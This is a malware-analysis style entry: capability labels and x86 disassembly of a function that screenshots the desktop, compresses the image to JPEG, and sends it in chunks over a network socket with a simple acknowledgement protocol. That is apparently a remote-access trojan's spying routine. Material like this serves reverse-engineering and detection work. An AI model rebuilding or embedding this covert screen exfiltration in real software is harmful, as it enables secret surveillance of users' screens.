Function at 0x402200
Capabilities:
Capture screenshot
Receive data
Receive data on socket
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x423481
push eax
mov eax, 0x4084
mov dword fs:[0], esp
call fcn.00417230
push ebx
push ebp
push esi
push edi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0
call dword [sym.imp.USER32.dll_GetWindowDC]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 8
push ebx
mov dword [esp + 0x40], ebx
call edi
mov esi, eax
push 0xa
push ebx
mov dword [esp + 0x38], esi
call edi
mov edi, eax
push edi
push esi
push ebx
mov dword [esp + 0x1c], edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebp, eax
push ebx
mov dword [esp + 0x38], ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push ebp
mov ebp, dword [sym.imp.GDI32.dll_SelectObject]
push eax
mov dword [esp + 0x34], eax
call ebp
mov ebx, eax
mov eax, dword [esp + 0x38]
push 0xcc0020
push 0
push 0
push eax
push edi
push esi
mov esi, dword [esp + 0x44]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push ebx
push esi
call ebp
mov edx, dword [esp + 0x40a8]
mov eax, dword [esp + 0x40a4]
lea ecx, [esp + 0x18]
xor ebp, ebp
push ecx
push ebp
push 0x26200a
push ebp
mov edi, 0x4252c0
push edx
push eax
mov dword [esp + 0x5c], edi
mov dword [esp + 0x30], ebp
call sub.gdiplus.dll_GdipCreateBitmapFromScan0
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], ecx
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x20]
push edx
push ebp
mov dword [esp + 0x40a4], ebp
mov dword [esp + 0x7c], edi
mov dword [esp + 0x28], ebp
push eax
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
mov edi, dword [esp + 0x20]
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], edi
lea ecx, [esp + 0x44]
xor ebx, ebx
test ecx, ecx
mov dword [esp + 0x1c], ebx
je 0x402328
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push edx
push eax
call sub.gdiplus.dll_GdipGetImageGraphicsContext
mov ebx, dword [esp + 0x1c]
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], ebx
fild dword [esp + 0x40a8]
push ebp
push ecx
mov byte [esp + 0x40a4], 2
fidiv dword [esp + 0x18]
fstp dword [esp]
fild dword [esp + 0x40ac]
push ecx
fidiv dword [esp + 0x3c]
fstp dword [esp]
push ebx
call sub.gdiplus.dll_GdipScaleWorldTransform
cmp eax, ebp
je 0x402361
mov dword [esp + 0x40], eax
lea eax, [esp + 0x74]
push ebp
neg eax
sbb eax, eax
push ebp
and eax, edi
push eax
push ebx
call sub.gdiplus.dll_GdipDrawImageI
cmp eax, ebp
je 0x40237c
mov dword [esp + 0x40], eax
mov eax, dword [0x42534c]
mov ecx, dword [0x425344]
mov edx, dword [0x425348]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x84]
mov dword [esp + 0x58], ecx
mov ecx, dword [0x425350]
mov dword [esp + 0x5c], edx
mov edi, 1
lea edx, [esp + 0x40ac]
push eax
push str.image_jpeg
mov dword [esp + 0x5c], edi
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x74], 4
mov dword [esp + 0x70], edi
mov dword [esp + 0x78], edx
call fcn.00402140
add esp, 8
mov dword [esp + 0x14], ebp
push ebp
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], eax
push ecx
push edi
push eax
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x54]
lea eax, [esp + 0x84]
push edx
mov edx, dword [esp + 0x1c]
push eax
push ecx
push edx
call sub.gdiplus.dll_GdipSaveImageToStream
cmp eax, ebp
je 0x40241a
mov dword [esp + 0x4c], eax
mov edx, dword [esp + 0x14]
lea ebp, [esp + 0x24]
xor ecx, ecx
push ebp
mov edi, dword [edx]
xor eax, eax
push 2
push ecx
push eax
push edx
call dword [edi + 0x14]
mov eax, dword [esp + 0x24]
push eax
call fcn.004175da
mov ecx, dword [esp + 0x28]
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov edx, dword [esp + 0x14]
xor ecx, ecx
push ecx
xor eax, eax
mov edi, dword [edx]
push ecx
push ecx
push eax
push edx
call dword [edi + 0x14]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x24]
push 0
push edx
mov ecx, dword [eax]
push ebp
push eax
call dword [ecx + 0xc]
mov edi, 0x42b138
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [0x42fea0]
not ecx
push ecx
push 0x42b138
push eax
call sub.WSOCK32.dll_send
mov ecx, dword [0x42fea0]
push 0
push 0x800
push 0x47aeb8
push ecx
call sub.WSOCK32.dll_recv
cmp byte [0x47aeb8], 0x6e
je 0x4025e8
cmp byte [0x47aeb9], 0x6f
je 0x4025e8
xor ebx, ebx
mov dword [esp + 0x10], ebx
jmp 0x4024d9
mov ebx, dword [esp + 0x10]
lea edi, [esp + 0x94]
xor ecx, ecx
lea esi, [ebx + 1]
dec edi
mov dl, byte [esi + ebp - 1]
mov eax, esi
mov byte [edi + ecx + 1], dl
cdq
cmp eax, dword [esp + 0x24]
jne 0x4024fd
cmp edx, dword [esp + 0x28]
je 0x402508
inc ecx
inc ebx
inc esi
cmp ecx, 0x4000
jl 0x4024e6
push 0
push ecx
mov ecx, dword [0x42fea0]
lea eax, [esp + 0x9c]
push eax
push ecx
mov dword [esp + 0x20], ebx
call sub.WSOCK32.dll_send
mov edx, dword [0x42fea0]
push 0
push 0x800
push 0x47aeb8
push edx
call sub.WSOCK32.dll_recv
mov cl, byte [0x47aeb8]
mov bl, 0x6e
cmp cl, bl
jne 0x40255d
cmp byte [0x47aeb9], 0x6f
jne 0x40255d
cmp byte [0x47aeba], 0x21
je 0x4025e0
test eax, eax
je 0x402566
cmp eax, 0xffffffff
jne 0x4025a0
mov eax, dword [0x42fea0]
push 0
push 0x800
push 0x47aeb8
push eax
call sub.WSOCK32.dll_recv
cmp byte [0x47aeb8], bl
jne 0x402597
cmp byte [0x47aeb9], 0x6f
jne 0x402597
cmp byte [0x47aeba], 0x21
je 0x4025e0
test eax, eax
je 0x4025e0
cmp eax, 0xffffffff
je 0x4025e0
mov ecx, dword [esp + 0x10]
lea eax, [ecx + 1]
mov ecx, dword [esp + 0x24]
cdq
cmp eax, ecx
jne 0x4024d5
cmp edx, dword [esp + 0x28]
jne 0x4024d5
mov edi, str.fileok
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x42fea0]
repne scasb al, byte es:[edi]
not ecx
push 0
push ecx
push str.fileok
push edx
call sub.WSOCK32.dll_send
mov esi, dword [esp + 0x2c]
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call fcn.0040a85e
mov eax, dword [esp + 0x3c]
mov edi, dword [sym.imp.GDI32.dll_DeleteDC]
add esp, 4
push eax
call edi
push esi
call edi
mov ecx, dword [esp + 0x34]
mov edi, dword [sym.imp.GDI32.dll_DeleteObject]
push ecx
call edi
push esi
call edi
push ebx
call sub.gdiplus.dll_GdipDeleteGraphics
mov edx, dword [esp + 0x20]
push edx
call sub.gdiplus.dll_GdipDisposeImage
mov eax, dword [esp + 0x18]
push eax
call sub.gdiplus.dll_GdipDisposeImage
mov ecx, dword [esp + 0x4094]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x4090
ret